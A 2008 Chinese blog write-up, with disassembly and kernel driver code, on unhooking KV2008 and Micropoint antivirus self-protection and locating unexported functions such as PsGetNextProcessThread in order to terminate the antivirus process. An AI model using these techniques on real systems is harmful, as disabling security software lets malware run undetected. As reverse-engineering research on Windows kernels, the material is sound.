查看文章 |
友情提醒:[08/05/05] 3月份丢的测试程序,早就被杀软提取特征码,定性为病毒。若你现在才看到,并运行的话,不要问为什么没有效果,因为会被杀软识别为病毒,从而禁止运行。 前言: 此文章写作时间:2008/03/23 ![]() ![]() ![]() SSDT 15秒恢复1次,其中的NtTerminateProcess恢复更快,基本是5ms左右(DPC) ①处理方法: 恢复掉关键的一处inline hook KeInsertQueueApc即可 ②具体细节: -------------------------------------------- (1) KV2008的inline hook -- ObOpenObjectByPointer 防止打开其进程 !ObOpenObjectByPointer: 8056cbc2 8bff mov edi,edi 8056cbc4 e967e59c00 jmp 80f3b130 ;往下要恢复15字节的内容 8056cbc9 94 xchg eax,esp 8056cbca 0000 add byte ptr [eax],al 8056cbcc 00538b add byte ptr [ebx-75h],dl 8056cbcf 5d pop ebp 8056cbd0 085657 or byte ptr [esi+57h],dl | | 恢复为下面的 | nt!ObOpenObjectByPointer: 8089fa62 8bff mov edi,edi 8089fa64 55 push ebp 8089fa65 8bec mov ebp,esp 8089fa67 81ec94000000 sub esp,94h 8089fa6d 53 push ebx 8089fa6e 8b5d08 mov ebx,dword ptr [ebp+8] 8089fa71 56 push esi 8089fa72 57 push edi -------------------------------------------- (2) KV2008的inline hook -- KeInsertQueueApc 防止插APC终止其进程 nt!KeInsertQueueApc: 804e6411 8bff mov edi,edi 804e6413 e9286da500 jmp 80f3d140 ;往下要恢复7字节的内容 804e6418 0c53 or al,53h | | 恢复为下面的 | nt!KeInsertQueueApc: 8080ecbf 8bff mov edi,edi 8080ecc1 55 push ebp 8080ecc2 8bec mov ebp,esp 8080ecc4 83ec0c sub esp,0Ch 8080ecc7 53 push ebx -------------------------------------------- (3) KV2008的inline hook -- RtlImageNtHeader 防止别人打开指定的PE模块 nt!RtlImageNtHeader: 804f97d5 90 nop ;往下要恢复26字节的内容 804f97d6 90 nop 804f97d7 90 nop 804f97d8 90 nop 804f97d9 90 nop 804f97da 90 nop 804f97db 90 nop 804f97dc 90 nop 804f97dd 90 nop 804f97de 90 nop 804f97df e95cc99f00 jmp 80ef6140 804f97e4 90 nop 804f97e5 ff743866 push dword ptr [eax+edi+66h] 804f97e9 813a4d5a7531 cmp dword ptr [edx],31755A4Dh | | 恢复为下面的 | nt!RtlImageNtHeader: 80822e19 8bff mov edi,edi 80822e1b 55 push ebp 80822e1c 8bec mov ebp,esp 80822e1e 8b5508 mov edx,dword ptr [ebp+8] 80822e21 33c0 xor eax,eax 80822e23 85d2 test edx,edx 80822e25 743d je nt!RtlImageNtHeader+0x41 (80822e64) 80822e27 83faff cmp edx,0FFFFFFFFh 80822e2a 7438 je nt!RtlImageNtHeader+0x41 (80822e64) 80822e2c 66813a4d5a cmp word ptr [edx],5A4Dh 80822e31 7531 jne nt!RtlImageNtHeader+0x41 (80822e64) ----------------------------- ③实践思路: ObReferenceObjectByHandle 通过handle得到Object PsLookupProcessByProcessId 通过ID得到Object ObOpenObjectByPointer 通过Object得到handle -->所以可以绕过ObOpenObjectByPointer 的hook,调用PsLookupProcessByProcessId得到KV 2008的Object(也就是间接实现NtOpenProcess的一部分). (PsLookupProcessByProcessId可能被别人hook过了,所以比较安全的做法是自己实现这个函数,其实就是在句柄表中找Object.可参考前人文章) --> 对每个Thread,都是调用PspTerminateThreadByPointer.而它调用了KeInsertQueueApc.故要恢复后再调用. <二> 搜索未导出的函数地址 (1)得到的PsGetNextProcessThread地址 偶采用的方法比较的笨,首先得到NtTerminateProcess的地址,再从中获取PsGetNextProcessThread。 弊端有3: ① 这个函数就是得到一个EPROCESS的所有ETHREAD,完全可以自己实现,只是BSOD的几率会增大(实现代码见下) // // // BOOLEAN ReferenceObject( PVOID Object ) { POBJECT_HEADER ObjectHeader; ObjectHeader = (POBJECT_HEADER)((ULONG)Object - sizeof(OBJECT_HEADER)); if (ObjectHeader->PointerCount == 0) { return FALSE; } InterlockedIncrement( &ObjectHeader->PointerCount ); return TRUE; } // // 自己实现PsGetNextProcessThread // PETHREAD SD_PsGetNextProcessThread ( PEPROCESS Process, PETHREAD Thread ) { PETHREAD FoundThread; PLIST_ENTRY Entry; PLIST_ENTRY ThreadListEntry; PLIST_ENTRY ListHead; //DbgPrint( "GetNextProcessThread( 0x%08x, 0x%08x )", Process, Thread ); FoundThread = NULL; if (Thread != NULL) { ThreadListEntry = (PLIST_ENTRY)((ULONG)Thread + ThreadProc); Entry = ThreadListEntry->Flink; } else { ThreadListEntry = (PLIST_ENTRY)((ULONG)Process + ThreadListHead); Entry = ThreadListEntry->Flink; } ListHead = (PLIST_ENTRY)((ULONG)Process + ThreadListHead); while (ListHead != Entry) { FoundThread = (PETHREAD)((ULONG)Entry - ThreadProc); if (ReferenceObject( FoundThread )) { break; } FoundThread = NULL; Entry = Entry->Flink; } if (FoundThread != NULL) { ObDereferenceObject( FoundThread ); } DbgPrint( "线程地址: \t0x%08x \n", FoundThread ); return FoundThread; } ② 有人说:“怎么不直接搜索PsGetNextProcessThread的特征码?” sudami:我KD看了下不同的内核,函数因为寄存器的改动变化的比较大,不好定位 ③ 有人说:“得到NtTerminateProcess的地址可以直接在SDT中取得嘛” sudami:KV 2008 注册了一个DPC,5ms恢复一次对NtTerminateProcess的hook.所以要得到它的原始地址,还得自己读内核文件,在里面找到真实地址,颇为烦琐,于是我就直接搜索它的特征码, 看了一些内核,特征码还算稳定 nt!NtTerminateProcess: 808b5399 8bff mov edi,edi 808b539b 55 push ebp 808b539c 8bec mov ebp,esp ... 808b542a c7450822010000 mov dword ptr [ebp+8],122h 808b5431 e8e8a2ffff call nt!PsGetNextProcessThread (808af71e) 808b5436 8bf0 mov esi,eax. 部分code如下: // 经过一系列的读PE后,得到一些偏移值。计算PE在内存中需要的空间。 // 为其分配一个非分页内存 // 将文件的内容都读取到这里 // 获取文件的大小,申请一块内存来存放它 //DbgPrint("获取文件的大小,申请一块内存来存放它\n"); ZwQueryInformationFile (ntFileHandle, &ioStatus, &fsi, sizeof(FILE_STANDARD_INFORMATION), FileStandardInformation); FileContent = ExAllocatePool (NonPagedPool, fsi.EndOfFile.LowPart); if (FileContent == NULL) { ntStatus = STATUS_UNSUCCESSFUL; ZwClose(ntFileHandle); DbgPrint("ExAllocatePool Error\n"); goto End; } byteOffset.LowPart = 0; byteOffset.HighPart = 0; ntStatus = ZwReadFile(ntFileHandle, NULL, NULL, NULL, &ioStatus, FileContent, fsi.EndOfFile.LowPart, &byteOffset, NULL); if (!NT_SUCCESS(ntStatus)) { ZwClose(ntFileHandle); ExFreePool(FileContent); DbgPrint("ZwReadFile 将要读的内容,读到一片非分页内存失败 Error\n"); goto End; } if (fsi.EndOfFile.LowPart <= 0) { ntStatus = STATUS_NOT_FOUND; ZwClose(ntFileHandle); ExFreePool(FileContent); DbgPrint("NeedSize <= 0 Error\n"); goto End; } GetHeaders (FileContent, &pfh, &poh, &psh); //DbgPrint("psh: %08lx\n", (PVOID)psh); //DbgPrint("start search....\n"); // 开始搜索。。。=.=! for (i = 0; i < fsi.EndOfFile.LowPart; i++) { if ( (FileContent[i] == 0x8B) && (FileContent[i+1] == 0xFF) && (FileContent[i+2] == 0x55) && (FileContent[i+3] == 0x8B) && (FileContent[i+4] == 0xEC) && (FileContent[i+5] == 0x83) && (FileContent[i+6] == 0xEC) && (FileContent[i+7] == 0x10) && (FileContent[i+8] == 0x53) && (FileContent[i+9] == 0x56) && (FileContent[i+10] == 0x57) && (FileContent[i+11] == 0x64) && (FileContent[i+12] == 0xA1) && (FileContent[i+13] == 0x24) && (FileContent[i+14] == 0x01) && (FileContent[i+15] == 0x00) && (FileContent[i+16] == 0x00) && (FileContent[i+17] == 0x83) && (FileContent[i+18] == 0x7D) && (FileContent[i+19] == 0x08) && (FileContent[i+20] == 0x00) && (FileContent[i+21] == 0x8B) && (FileContent[i+22] == 0xF8) && (FileContent[i+23] == 0x8B) && (FileContent[i+24] == 0x47) && (FileContent[i+25] == 0x44) && (FileContent[i+26] == 0x89) && (FileContent[i+27] == 0x45) && (FileContent[i+28] == 0xF0) && (FileContent[i+29] == 0x0F) && (FileContent[i+30] == 0x84) ) { //DbgPrint(" 进来了~\n"); DbgPrint("文件偏移i: %08lx\n", (PVOID)i); // 找到了 sudami_1 = Offset2RVA( i, psh, pfh->NumberOfSections ); //DbgPrint("RVA -- sudami_1 : %08lx\n", (PVOID)sudami_1); if (sudami_1 == 0) { DbgPrint("sudami_1 == 0 Error\n"); goto NotFound; } if (sudami_1 > SizeOfImage) { DbgPrint("sudami_1 > SizeOfImage Error\n"); goto NotFound; } sudami_1 += ModuleBase; if (!MmIsAddressValid((PVOID)sudami_1 )) { DbgPrint("!MmIsAddressValid((PVOID)sudami_1 ) Error\n"); goto NotFound; } NtTerminateProcess = (PUCHAR)sudami_1; DbgPrint( "NtTerminateProcess:\t0x%08x\n", (ULONG)NtTerminateProcess ); ExFreePool(FileContent); ZwClose(ntFileHandle); goto End; } 然后就好做了,下面是个很科普的函数: VOID XPGetPsGetNextProcessThread() { PUCHAR cPtr; PUCHAR addr; int i = 0; //DbgPrint("开始找PsGetNextProcessThread \n"); if( NULL == NtTerminateProcess) { DbgPrint( "NtTerminateProcess NULL == \n" ); return; } for (cPtr = (PUCHAR)NtTerminateProcess; cPtr < ((PUCHAR)NtTerminateProcess + PAGE_SIZE); cPtr++) { //DbgPrint("cPtr: \t0x%08x \n", cPtr); if (*cPtr == 0xE8/* && *(PUSHORT)(cPtr + 5) == 0x8BF0 && *(PUSHORT)(cPtr + 7) == 0x85F6*/) { i++; //DbgPrint("--- 进来了--- \n"); if( 3 == i ) { g_PsGetNextProcessThread = (My_PsGetNextProcessThread)(*(PULONG)(cPtr + 1) + (ULONG)cPtr + 5); DbgPrint( "PsGetNextProcessThread:\t0x%08x\n", (ULONG)g_PsGetNextProcessThread ); break; } } } } (2)得到的PspTerminateThreadByPointer地址 前言: 微点连 PsTerminateSystemThread 也inline hook,真无耻~ nt!PsTerminateSystemThread: 808aa35f 8bff mov edi,edi 808aa361 55 push ebp 808aa362 8bec mov ebp,esp 808aa364 64a124010000 mov eax,dword ptr fs:[00000124h] 808aa36a f6804802000010 test byte ptr [eax+248h],10h 808aa371 0f84ea300800 je nt!PsTerminateSystemThread+0x14 (8092d461) 808aa377 ff7508 push dword ptr [ebp+8] 808aa37a 50 push eax 808aa37b e8a2e9cf77 call f85a8d22 ; 被inline hook了 ; ; 本来是call nt!PspTerminateThreadByPointer (XXXXX),显然跳到了微点的处理 ; 函数中, 若从这里找未导出的 PspTerminateThreadByPointer就不爽了, 所以要换 ; 从其他的导出函数中搜索(前提是若你想调用PspTerminateThreadByPointer函数) ; -- sudami 08/03/16 ; 808aa380 5d pop ebp 808aa381 c20400 ret 4 整理下思绪,直接在内部调用过PspTerminateThreadByPointer的函数有4个: NtTerminateProcess、NtTerminateThread、PspTerminateProcess [未导出] PsTerminateSystemThread [已导出]
![]() ![]() ![]()
附件
可能因为内核补丁的缘故,在有些机器上会出现没有效果的情况,属正常 ![]() |






;
,偶不是病毒制造者,所以就不做了)
